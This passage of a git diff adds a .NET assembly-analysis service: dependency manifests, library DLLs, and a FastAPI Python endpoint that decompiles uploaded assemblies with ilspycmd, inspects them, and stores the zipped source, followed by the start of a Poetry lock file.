+ "sha512": "sha512-/zrcPkkWdZmI4F92gL/TPumP98AVDu/Wxr3CSJGQQ+XN6wbRZcyfSKVoPo17ilb3iOr0cCRqJInGwNMolqhS8A==",
+ "path": "system.resources.resourcemanager/4.3.0",
+ "hashPath": "system.resources.resourcemanager.4.3.0.nupkg.sha512"
+ },
+ "System.Runtime/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-JufQi0vPQ0xGnAczR13AUFglDyVYt4Kqnz1AZaiKZ5+GICq0/1MH/mO/eAJHt/mHW1zjKBJd7kV26SrxddAhiw==",
+ "path": "system.runtime/4.3.0",
+ "hashPath": "system.runtime.4.3.0.nupkg.sha512"
+ },
+ "System.Runtime.Extensions/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-guW0uK0fn5fcJJ1tJVXYd7/1h5F+pea1r7FLSOz/f8vPEqbR2ZAknuRDvTQ8PzAilDveOxNjSfr0CHfIQfFk8g==",
+ "path": "system.runtime.extensions/4.3.0",
+ "hashPath": "system.runtime.extensions.4.3.0.nupkg.sha512"
+ },
+ "System.Runtime.Handles/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-OKiSUN7DmTWeYb3l51A7EYaeNMnvxwE249YtZz7yooT4gOZhmTjIn48KgSsw2k2lYdLgTKNJw/ZIfSElwDRVgg==",
+ "path": "system.runtime.handles/4.3.0",
+ "hashPath": "system.runtime.handles.4.3.0.nupkg.sha512"
+ },
+ "System.Runtime.InteropServices/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-uv1ynXqiMK8mp1GM3jDqPCFN66eJ5w5XNomaK2XD+TuCroNTLFGeZ+WCmBMcBDyTFKou3P6cR6J/QsaqDp7fGQ==",
+ "path": "system.runtime.interopservices/4.3.0",
+ "hashPath": "system.runtime.interopservices.4.3.0.nupkg.sha512"
+ },
+ "System.Runtime.InteropServices.RuntimeInformation/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-cbz4YJMqRDR7oLeMRbdYv7mYzc++17lNhScCX0goO2XpGWdvAt60CGN+FHdePUEHCe/Jy9jUlvNAiNdM+7jsOw==",
+ "path": "system.runtime.interopservices.runtimeinformation/4.3.0",
+ "hashPath": "system.runtime.interopservices.runtimeinformation.4.3.0.nupkg.sha512"
+ },
+ "System.Runtime.Numerics/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-yMH+MfdzHjy17l2KESnPiF2dwq7T+xLnSJar7slyimAkUh/gTrS9/UQOtv7xarskJ2/XDSNvfLGOBQPjL7PaHQ==",
+ "path": "system.runtime.numerics/4.3.0",
+ "hashPath": "system.runtime.numerics.4.3.0.nupkg.sha512"
+ },
+ "System.Security.Cryptography.Algorithms/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-W1kd2Y8mYSCgc3ULTAZ0hOP2dSdG5YauTb1089T0/kRcN2MpSAW1izOFROrJgxSlMn3ArsgHXagigyi+ibhevg==",
+ "path": "system.security.cryptography.algorithms/4.3.0",
+ "hashPath": "system.security.cryptography.algorithms.4.3.0.nupkg.sha512"
+ },
+ "System.Security.Cryptography.Cng/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-03idZOqFlsKRL4W+LuCpJ6dBYDUWReug6lZjBa3uJWnk5sPCUXckocevTaUA8iT/MFSrY/2HXkOt753xQ/cf8g==",
+ "path": "system.security.cryptography.cng/4.3.0",
+ "hashPath": "system.security.cryptography.cng.4.3.0.nupkg.sha512"
+ },
+ "System.Security.Cryptography.Csp/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-X4s/FCkEUnRGnwR3aSfVIkldBmtURMhmexALNTwpjklzxWU7yjMk7GHLKOZTNkgnWnE0q7+BCf9N2LVRWxewaA==",
+ "path": "system.security.cryptography.csp/4.3.0",
+ "hashPath": "system.security.cryptography.csp.4.3.0.nupkg.sha512"
+ },
+ "System.Security.Cryptography.Encoding/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-1DEWjZZly9ae9C79vFwqaO5kaOlI5q+3/55ohmq/7dpDyDfc8lYe7YVxJUZ5MF/NtbkRjwFRo14yM4OEo9EmDw==",
+ "path": "system.security.cryptography.encoding/4.3.0",
+ "hashPath": "system.security.cryptography.encoding.4.3.0.nupkg.sha512"
+ },
+ "System.Security.Cryptography.OpenSsl/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-h4CEgOgv5PKVF/HwaHzJRiVboL2THYCou97zpmhjghx5frc7fIvlkY1jL+lnIQyChrJDMNEXS6r7byGif8Cy4w==",
+ "path": "system.security.cryptography.openssl/4.3.0",
+ "hashPath": "system.security.cryptography.openssl.4.3.0.nupkg.sha512"
+ },
+ "System.Security.Cryptography.Primitives/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-7bDIyVFNL/xKeFHjhobUAQqSpJq9YTOpbEs6mR233Et01STBMXNAc/V+BM6dwYGc95gVh/Zf+iVXWzj3mE8DWg==",
+ "path": "system.security.cryptography.primitives/4.3.0",
+ "hashPath": "system.security.cryptography.primitives.4.3.0.nupkg.sha512"
+ },
+ "System.Security.Cryptography.X509Certificates/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-t2Tmu6Y2NtJ2um0RtcuhP7ZdNNxXEgUm2JeoA/0NvlMjAhKCnM1NX07TDl3244mVp3QU6LPEhT3HTtH1uF7IYw==",
+ "path": "system.security.cryptography.x509certificates/4.3.0",
+ "hashPath": "system.security.cryptography.x509certificates.4.3.0.nupkg.sha512"
+ },
+ "System.Text.Encoding/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-BiIg+KWaSDOITze6jGQynxg64naAPtqGHBwDrLaCtixsa5bKiR8dpPOHA7ge3C0JJQizJE+sfkz1wV+BAKAYZw==",
+ "path": "system.text.encoding/4.3.0",
+ "hashPath": "system.text.encoding.4.3.0.nupkg.sha512"
+ },
+ "System.Text.Encoding.Extensions/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-YVMK0Bt/A43RmwizJoZ22ei2nmrhobgeiYwFzC4YAN+nue8RF6djXDMog0UCn+brerQoYVyaS+ghy9P/MUVcmw==",
+ "path": "system.text.encoding.extensions/4.3.0",
+ "hashPath": "system.text.encoding.extensions.4.3.0.nupkg.sha512"
+ },
+ "System.Text.RegularExpressions/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-RpT2DA+L660cBt1FssIE9CAGpLFdFPuheB7pLpKpn6ZXNby7jDERe8Ua/Ne2xGiwLVG2JOqziiaVCGDon5sKFA==",
+ "path": "system.text.regularexpressions/4.3.0",
+ "hashPath": "system.text.regularexpressions.4.3.0.nupkg.sha512"
+ },
+ "System.Threading/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-VkUS0kOBcUf3Wwm0TSbrevDDZ6BlM+b/HRiapRFWjM5O0NS0LviG0glKmFK+hhPDd1XFeSdU1GmlLhb2CoVpIw==",
+ "path": "system.threading/4.3.0",
+ "hashPath": "system.threading.4.3.0.nupkg.sha512"
+ },
+ "System.Threading.Tasks/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-LbSxKEdOUhVe8BezB/9uOGGppt+nZf6e1VFyw6v3DN6lqitm0OSn2uXMOdtP0M3W4iMcqcivm2J6UgqiwwnXiA==",
+ "path": "system.threading.tasks/4.3.0",
+ "hashPath": "system.threading.tasks.4.3.0.nupkg.sha512"
+ },
+ "System.Threading.Tasks.Extensions/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-npvJkVKl5rKXrtl1Kkm6OhOUaYGEiF9wFbppFRWSMoApKzt2PiPHT2Bb8a5sAWxprvdOAtvaARS9QYMznEUtug==",
+ "path": "system.threading.tasks.extensions/4.3.0",
+ "hashPath": "system.threading.tasks.extensions.4.3.0.nupkg.sha512"
+ },
+ "System.Threading.Timer/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-Z6YfyYTCg7lOZjJzBjONJTFKGN9/NIYKSxhU5GRd+DTwHSZyvWp1xuI5aR+dLg+ayyC5Xv57KiY4oJ0tMO89fQ==",
+ "path": "system.threading.timer/4.3.0",
+ "hashPath": "system.threading.timer.4.3.0.nupkg.sha512"
+ },
+ "System.Xml.ReaderWriter/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-GrprA+Z0RUXaR4N7/eW71j1rgMnEnEVlgii49GZyAjTH7uliMnrOU3HNFBr6fEDBCJCIdlVNq9hHbaDR621XBA==",
+ "path": "system.xml.readerwriter/4.3.0",
+ "hashPath": "system.xml.readerwriter.4.3.0.nupkg.sha512"
+ },
+ "System.Xml.XDocument/4.3.0": {
+ "type": "package",
+ "serviceable": true,
+ "sha512": "sha512-5zJ0XDxAIg8iy+t4aMnQAu0MqVbqyvfoUVl1yDV61xdo3Vth45oA2FoY4pPkxYAH5f8ixpmTqXeEIya95x0aCQ==",
+ "path": "system.xml.xdocument/4.3.0",
+ "hashPath": "system.xml.xdocument.4.3.0.nupkg.sha512"
+ }
+ }
+}
\ No newline at end of file
diff --git a/cmd/dotnet/dotnet/services/InspectAssembly/InspectAssembly.dll b/cmd/dotnet/dotnet/services/InspectAssembly/InspectAssembly.dll
new file mode 100644
index 0000000..aaccfca
Binary files /dev/null and b/cmd/dotnet/dotnet/services/InspectAssembly/InspectAssembly.dll differ
diff --git a/cmd/dotnet/dotnet/services/InspectAssembly/InspectAssembly.runtimeconfig.json b/cmd/dotnet/dotnet/services/InspectAssembly/InspectAssembly.runtimeconfig.json
new file mode 100644
index 0000000..af5af9b
--- /dev/null
+++ b/cmd/dotnet/dotnet/services/InspectAssembly/InspectAssembly.runtimeconfig.json
@@ -0,0 +1,12 @@
+{
+ "runtimeOptions": {
+ "tfm": "net6.0",
+ "framework": {
+ "name": "Microsoft.NETCore.App",
+ "version": "6.0.0"
+ },
+ "configProperties": {
+ "System.Reflection.Metadata.MetadataUpdater.IsSupported": false
+ }
+ }
+}
\ No newline at end of file
diff --git a/cmd/dotnet/dotnet/services/InspectAssembly/Mono.Cecil.Mdb.dll b/cmd/dotnet/dotnet/services/InspectAssembly/Mono.Cecil.Mdb.dll
new file mode 100644
index 0000000..c22998b
Binary files /dev/null and b/cmd/dotnet/dotnet/services/InspectAssembly/Mono.Cecil.Mdb.dll differ
diff --git a/cmd/dotnet/dotnet/services/InspectAssembly/Mono.Cecil.Pdb.dll b/cmd/dotnet/dotnet/services/InspectAssembly/Mono.Cecil.Pdb.dll
new file mode 100644
index 0000000..0d396b8
Binary files /dev/null and b/cmd/dotnet/dotnet/services/InspectAssembly/Mono.Cecil.Pdb.dll differ
diff --git a/cmd/dotnet/dotnet/services/InspectAssembly/Mono.Cecil.Rocks.dll b/cmd/dotnet/dotnet/services/InspectAssembly/Mono.Cecil.Rocks.dll
new file mode 100644
index 0000000..785c186
Binary files /dev/null and b/cmd/dotnet/dotnet/services/InspectAssembly/Mono.Cecil.Rocks.dll differ
diff --git a/cmd/dotnet/dotnet/services/InspectAssembly/Mono.Cecil.dll b/cmd/dotnet/dotnet/services/InspectAssembly/Mono.Cecil.dll
new file mode 100644
index 0000000..9b78a39
Binary files /dev/null and b/cmd/dotnet/dotnet/services/InspectAssembly/Mono.Cecil.dll differ
diff --git a/cmd/dotnet/dotnet/services/InspectAssembly/Newtonsoft.Json.dll b/cmd/dotnet/dotnet/services/InspectAssembly/Newtonsoft.Json.dll
new file mode 100644
index 0000000..1ffeabe
Binary files /dev/null and b/cmd/dotnet/dotnet/services/InspectAssembly/Newtonsoft.Json.dll differ
diff --git a/cmd/dotnet/dotnet/services/dotnet.py b/cmd/dotnet/dotnet/services/dotnet.py
new file mode 100644
index 0000000..66d3396
--- /dev/null
+++ b/cmd/dotnet/dotnet/services/dotnet.py
@@ -0,0 +1,121 @@
+# Standard Libraries
+import json
+import os
+import shutil
+import subprocess
+import uuid
+
+# 3rd Party Libraries
+import structlog
+from dotnet.settings import DotnetSettings
+from fastapi.responses import Response
+from fastapi_class.decorators import get, post
+from fastapi_class.routable import Routable
+from nemesiscommon.storage import StorageInterface
+from prometheus_async import aio
+from prometheus_client import Summary
+from pydantic import BaseModel
+
+logger = structlog.get_logger(module=__name__)
+
+
+class ProcessRequest(BaseModel):
+ object_id: uuid.UUID
+
+
+class DotnetAPI(Routable):
+ cfg: DotnetSettings
+ storage: StorageInterface
+
+ def __init__(self, cfg: DotnetSettings, storage: StorageInterface) -> None:
+ super().__init__()
+ self.cfg = cfg
+ self.storage = storage
+
+ @get("/")
+ async def home(self):
+ return Response()
+
+ @get("/ready")
+ async def ready(self):
+ """
+ Used for readiness probes.
+ """
+ return Response()
+
+ @aio.time(Summary("process_file", "Time spent processing a file")) # type: ignore
+ @post("/process")
+ async def process(self, request: ProcessRequest):
+ """
+ Combines the /decompile and /analysis endpoints,
+ so we only have to download/decrypt the binary once.
+ """
+
+ tmp_dir_decompilation = f"{self.cfg.data_download_dir}/{uuid.uuid4()}"
+ tmp_dir_analysis = f"{self.cfg.data_download_dir}/{uuid.uuid4()}"
+
+ nemesis_uuid = request.object_id
+ await logger.adebug("Dotnet /process route called", request=request)
+
+ try:
+ with await self.storage.download(nemesis_uuid) as temp_file:
+ temp_name = os.path.basename(temp_file.name)
+ results = {}
+
+ # create the temp directories and copy/move our downloaded file to there
+ # TODO: Use the tempfile python module instead
+ os.mkdir(tmp_dir_decompilation)
+ os.mkdir(f"{tmp_dir_decompilation}/source/")
+ os.mkdir(tmp_dir_analysis)
+ shutil.copy(temp_file.name, tmp_dir_decompilation)
+ shutil.copy(temp_file.name, tmp_dir_analysis) # this is a move so we don't have to delete the original later
+
+ # decompile the assembly to a ./source/ project using ilSpy
+ p_ilspy = subprocess.Popen(
+ [
+ "/usr/local/bin/ilspycmd",
+ f"{tmp_dir_decompilation}/{temp_name}",
+ "-p",
+ "-o",
+ f"{tmp_dir_decompilation}/source/",
+ ]
+ )
+
+ # examine the assembly
+ # TODO: work out how to call the method directly from Python w/o subprocess
+ p_inspect_assembly = subprocess.Popen(
+ [
+ "dotnet",
+ "dotnet/services/InspectAssembly/InspectAssembly.dll",
+ f"{tmp_dir_analysis}/{temp_name}",
+ ],
+ stdout=subprocess.PIPE,
+ )
+
+ # wait for both processes to complete
+ p_ilspy.wait()
+ analysis_output = p_inspect_assembly.communicate()[0]
+ await logger.adebug("analysis_output", output=analysis_output)
+ results["analysis"] = json.loads(analysis_output)
+
+ # zip up the decompiled source
+ shutil.make_archive(f"{tmp_dir_decompilation}/source", "zip", f"{tmp_dir_decompilation}/source/")
+
+ # rename the source archive to our new UUID and upload it to S3
+ shutil.move(f"{tmp_dir_decompilation}/source.zip", f"{tmp_dir_decompilation}/{temp_name}")
+
+ # not using a TempFile here since we're removing the entire directories later
+ file_uuid = await self.storage.upload(f"{tmp_dir_decompilation}/{temp_name}")
+ results["decompilation"] = {"object_id": file_uuid}
+
+ return results
+
+ except Exception as e:
+ await logger.aerror("exception on dotnet /process route", exception=e)
+ return {"error": f"exception running /process container code : {e}"}
+
+ finally:
+ if tmp_dir_decompilation and os.path.exists(tmp_dir_decompilation):
+ shutil.rmtree(tmp_dir_decompilation, ignore_errors=True)
+ if tmp_dir_analysis and os.path.exists(tmp_dir_analysis):
+ shutil.rmtree(tmp_dir_analysis, ignore_errors=True)
diff --git a/cmd/dotnet/dotnet/settings.py b/cmd/dotnet/dotnet/settings.py
new file mode 100644
index 0000000..b792f59
--- /dev/null
+++ b/cmd/dotnet/dotnet/settings.py
@@ -0,0 +1,8 @@
+# Standard Libraries
+
+# 3rd Party Libraries
+from nemesiscommon.settings import FileProcessingService
+
+
+class DotnetSettings(FileProcessingService):
+ pass
diff --git a/cmd/dotnet/poetry.lock b/cmd/dotnet/poetry.lock
new file mode 100644
index 0000000..f771941
--- /dev/null
+++ b/cmd/dotnet/poetry.lock
@@ -0,0 +1,1991 @@
+# This file is automatically @generated by Poetry 1.5.1 and should not be changed by hand.
+
+[[package]]
+name = "aio-pika"
+version = "8.3.0"
+description = "Wrapper for the aiormq for asyncio and humans."
+optional = false
+python-versions = ">3.6, <4"
+files = [
+ {file = "aio-pika-8.3.0.tar.gz", hash = "sha256:c0e2601eda6a1097fe1d33c5f9965a86a27b328ac48914d20c23f675b3ab1797"},
+ {file = "aio_pika-8.3.0-py3-none-any.whl", hash = "sha256:36c4742449f1cbcb83165b3733b090cf88f3d2f7f027225eedb8c7f300b05dde"},
+]
+
+[package.dependencies]
+aiormq = ">=6.6.3,<6.7.0"
+yarl = "*"
+
+[package.extras]
+develop = ["aiomisc (>=16.0,<17.0)", "coverage (!=4.3)", "coveralls", "nox", "pylava", "pytest", "pytest-cov", "shortuuid", "sphinx", "sphinx-autobuild", "timeout-decorator", "tox (>=2.4)"]
+
+[[package]]
+name = "aioboto3"
+version = "10.4.0"
+description = "Async boto3 wrapper"
+optional = false
+python-versions = ">=3.7,<4.0"
+files = [
+ {file = "aioboto3-10.4.0-py3-none-any.whl", hash = "sha256:6d0f0bf6af0168c27828e108f1a24182669a6ea6939437c27638caf06a693403"},
+ {file = "aioboto3-10.4.0.tar.gz", hash = "sha256:e52b5f96b67031ddcbabcc55015bad3f851d3d4e6d5bfc7a1d1518d90e0c1fd8"},
+]
+
+[package.dependencies]
+aiobotocore = {version = "2.4.2", extras = ["boto3"]}
+
+[package.extras]
+chalice = ["chalice (>=1.24.0)"]
+s3cse = ["cryptography (>=2.3.1)"]
+
+[[package]]
+name = "aiobotocore"
+version = "2.4.2"
+description = "Async client for aws services using botocore and aiohttp"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "aiobotocore-2.4.2-py3-none-any.whl", hash = "sha256:4acd1ebe2e44be4b100aa553910bda899f6dc090b3da2bc1cf3d5de2146ed208"},
+ {file = "aiobotocore-2.4.2.tar.gz", hash = "sha256:0603b74a582dffa7511ce7548d07dc9b10ec87bc5fb657eb0b34f9bd490958bf"},
+]
+
+[package.dependencies]
+aiohttp = ">=3.3.1"
+aioitertools = ">=0.5.1"
+boto3 = {version = ">=1.24.59,<1.24.60", optional = true, markers = "extra == \"boto3\""}
+botocore = ">=1.27.59,<1.27.60"
+wrapt = ">=1.10.10"
+
+[package.extras]
+awscli = ["awscli (>=1.25.60,<1.25.61)"]
+boto3 = ["boto3 (>=1.24.59,<1.24.60)"]
+
+[[package]]
+name = "aiofile"
+version = "3.8.7"
+description = "Asynchronous file operations."
+optional = false
+python-versions = ">=3.7, <4"
+files = [
+ {file = "aiofile-3.8.7-py3-none-any.whl", hash = "sha256:4c38991b1227e221296fa05bbc95bffba9c203fef1ce09ad3076cfe7b61842c7"},
+ {file = "aiofile-3.8.7.tar.gz", hash = "sha256:a8f9dec17282b3583337c4ef2d1a67f33072ab80dd03608041ed9e71b88dc521"},
+]
+
+[package.dependencies]
+caio = ">=0.9.0,<0.10.0"
+
+[package.extras]
+develop = ["aiomisc-pytest", "coveralls", "pytest", "pytest-cov", "pytest-rst"]
+
+[[package]]
+name = "aiohttp"
+version = "3.8.4"
+description = "Async http client/server framework (asyncio)"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "aiohttp-3.8.4-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:5ce45967538fb747370308d3145aa68a074bdecb4f3a300869590f725ced69c1"},
+ {file = "aiohttp-3.8.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:b744c33b6f14ca26b7544e8d8aadff6b765a80ad6164fb1a430bbadd593dfb1a"},
+ {file = "aiohttp-3.8.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:1a45865451439eb320784918617ba54b7a377e3501fb70402ab84d38c2cd891b"},
+ {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a86d42d7cba1cec432d47ab13b6637bee393a10f664c425ea7b305d1301ca1a3"},
+ {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ee3c36df21b5714d49fc4580247947aa64bcbe2939d1b77b4c8dcb8f6c9faecc"},
+ {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:176a64b24c0935869d5bbc4c96e82f89f643bcdf08ec947701b9dbb3c956b7dd"},
+ {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c844fd628851c0bc309f3c801b3a3d58ce430b2ce5b359cd918a5a76d0b20cb5"},
+ {file = "aiohttp-3.8.4-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:5393fb786a9e23e4799fec788e7e735de18052f83682ce2dfcabaf1c00c2c08e"},
+ {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:e4b09863aae0dc965c3ef36500d891a3ff495a2ea9ae9171e4519963c12ceefd"},
+ {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:adfbc22e87365a6e564c804c58fc44ff7727deea782d175c33602737b7feadb6"},
+ {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:147ae376f14b55f4f3c2b118b95be50a369b89b38a971e80a17c3fd623f280c9"},
+ {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:eafb3e874816ebe2a92f5e155f17260034c8c341dad1df25672fb710627c6949"},
+ {file = "aiohttp-3.8.4-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:c6cc15d58053c76eacac5fa9152d7d84b8d67b3fde92709195cb984cfb3475ea"},
+ {file = "aiohttp-3.8.4-cp310-cp310-win32.whl", hash = "sha256:59f029a5f6e2d679296db7bee982bb3d20c088e52a2977e3175faf31d6fb75d1"},
+ {file = "aiohttp-3.8.4-cp310-cp310-win_amd64.whl", hash = "sha256:fe7ba4a51f33ab275515f66b0a236bcde4fb5561498fe8f898d4e549b2e4509f"},
+ {file = "aiohttp-3.8.4-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:3d8ef1a630519a26d6760bc695842579cb09e373c5f227a21b67dc3eb16cfea4"},
+ {file = "aiohttp-3.8.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:5b3f2e06a512e94722886c0827bee9807c86a9f698fac6b3aee841fab49bbfb4"},
+ {file = "aiohttp-3.8.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:3a80464982d41b1fbfe3154e440ba4904b71c1a53e9cd584098cd41efdb188ef"},
+ {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8b631e26df63e52f7cce0cce6507b7a7f1bc9b0c501fcde69742130b32e8782f"},
+ {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3f43255086fe25e36fd5ed8f2ee47477408a73ef00e804cb2b5cba4bf2ac7f5e"},
+ {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4d347a172f866cd1d93126d9b239fcbe682acb39b48ee0873c73c933dd23bd0f"},
+ {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a3fec6a4cb5551721cdd70473eb009d90935b4063acc5f40905d40ecfea23e05"},
+ {file = "aiohttp-3.8.4-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:80a37fe8f7c1e6ce8f2d9c411676e4bc633a8462844e38f46156d07a7d401654"},
+ {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:d1e6a862b76f34395a985b3cd39a0d949ca80a70b6ebdea37d3ab39ceea6698a"},
+ {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:cd468460eefef601ece4428d3cf4562459157c0f6523db89365202c31b6daebb"},
+ {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:618c901dd3aad4ace71dfa0f5e82e88b46ef57e3239fc7027773cb6d4ed53531"},
+ {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:652b1bff4f15f6287550b4670546a2947f2a4575b6c6dff7760eafb22eacbf0b"},
+ {file = "aiohttp-3.8.4-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:80575ba9377c5171407a06d0196b2310b679dc752d02a1fcaa2bc20b235dbf24"},
+ {file = "aiohttp-3.8.4-cp311-cp311-win32.whl", hash = "sha256:bbcf1a76cf6f6dacf2c7f4d2ebd411438c275faa1dc0c68e46eb84eebd05dd7d"},
+ {file = "aiohttp-3.8.4-cp311-cp311-win_amd64.whl", hash = "sha256:6e74dd54f7239fcffe07913ff8b964e28b712f09846e20de78676ce2a3dc0bfc"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:880e15bb6dad90549b43f796b391cfffd7af373f4646784795e20d92606b7a51"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bb96fa6b56bb536c42d6a4a87dfca570ff8e52de2d63cabebfd6fb67049c34b6"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4a6cadebe132e90cefa77e45f2d2f1a4b2ce5c6b1bfc1656c1ddafcfe4ba8131"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f352b62b45dff37b55ddd7b9c0c8672c4dd2eb9c0f9c11d395075a84e2c40f75"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7ab43061a0c81198d88f39aaf90dae9a7744620978f7ef3e3708339b8ed2ef01"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c9cb1565a7ad52e096a6988e2ee0397f72fe056dadf75d17fa6b5aebaea05622"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:1b3ea7edd2d24538959c1c1abf97c744d879d4e541d38305f9bd7d9b10c9ec41"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_i686.whl", hash = "sha256:7c7837fe8037e96b6dd5cfcf47263c1620a9d332a87ec06a6ca4564e56bd0f36"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_ppc64le.whl", hash = "sha256:3b90467ebc3d9fa5b0f9b6489dfb2c304a1db7b9946fa92aa76a831b9d587e99"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_s390x.whl", hash = "sha256:cab9401de3ea52b4b4c6971db5fb5c999bd4260898af972bf23de1c6b5dd9d71"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:d1f9282c5f2b5e241034a009779e7b2a1aa045f667ff521e7948ea9b56e0c5ff"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-win32.whl", hash = "sha256:5e14f25765a578a0a634d5f0cd1e2c3f53964553a00347998dfdf96b8137f777"},
+ {file = "aiohttp-3.8.4-cp36-cp36m-win_amd64.whl", hash = "sha256:4c745b109057e7e5f1848c689ee4fb3a016c8d4d92da52b312f8a509f83aa05e"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:aede4df4eeb926c8fa70de46c340a1bc2c6079e1c40ccf7b0eae1313ffd33519"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4ddaae3f3d32fc2cb4c53fab020b69a05c8ab1f02e0e59665c6f7a0d3a5be54f"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c4eb3b82ca349cf6fadcdc7abcc8b3a50ab74a62e9113ab7a8ebc268aad35bb9"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9bcb89336efa095ea21b30f9e686763f2be4478f1b0a616969551982c4ee4c3b"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6c08e8ed6fa3d477e501ec9db169bfac8140e830aa372d77e4a43084d8dd91ab"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c6cd05ea06daca6ad6a4ca3ba7fe7dc5b5de063ff4daec6170ec0f9979f6c332"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:b7a00a9ed8d6e725b55ef98b1b35c88013245f35f68b1b12c5cd4100dddac333"},
+ {file = "aiohttp-3.8.4-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:de04b491d0e5007ee1b63a309956eaed959a49f5bb4e84b26c8f5d49de140fa9"},
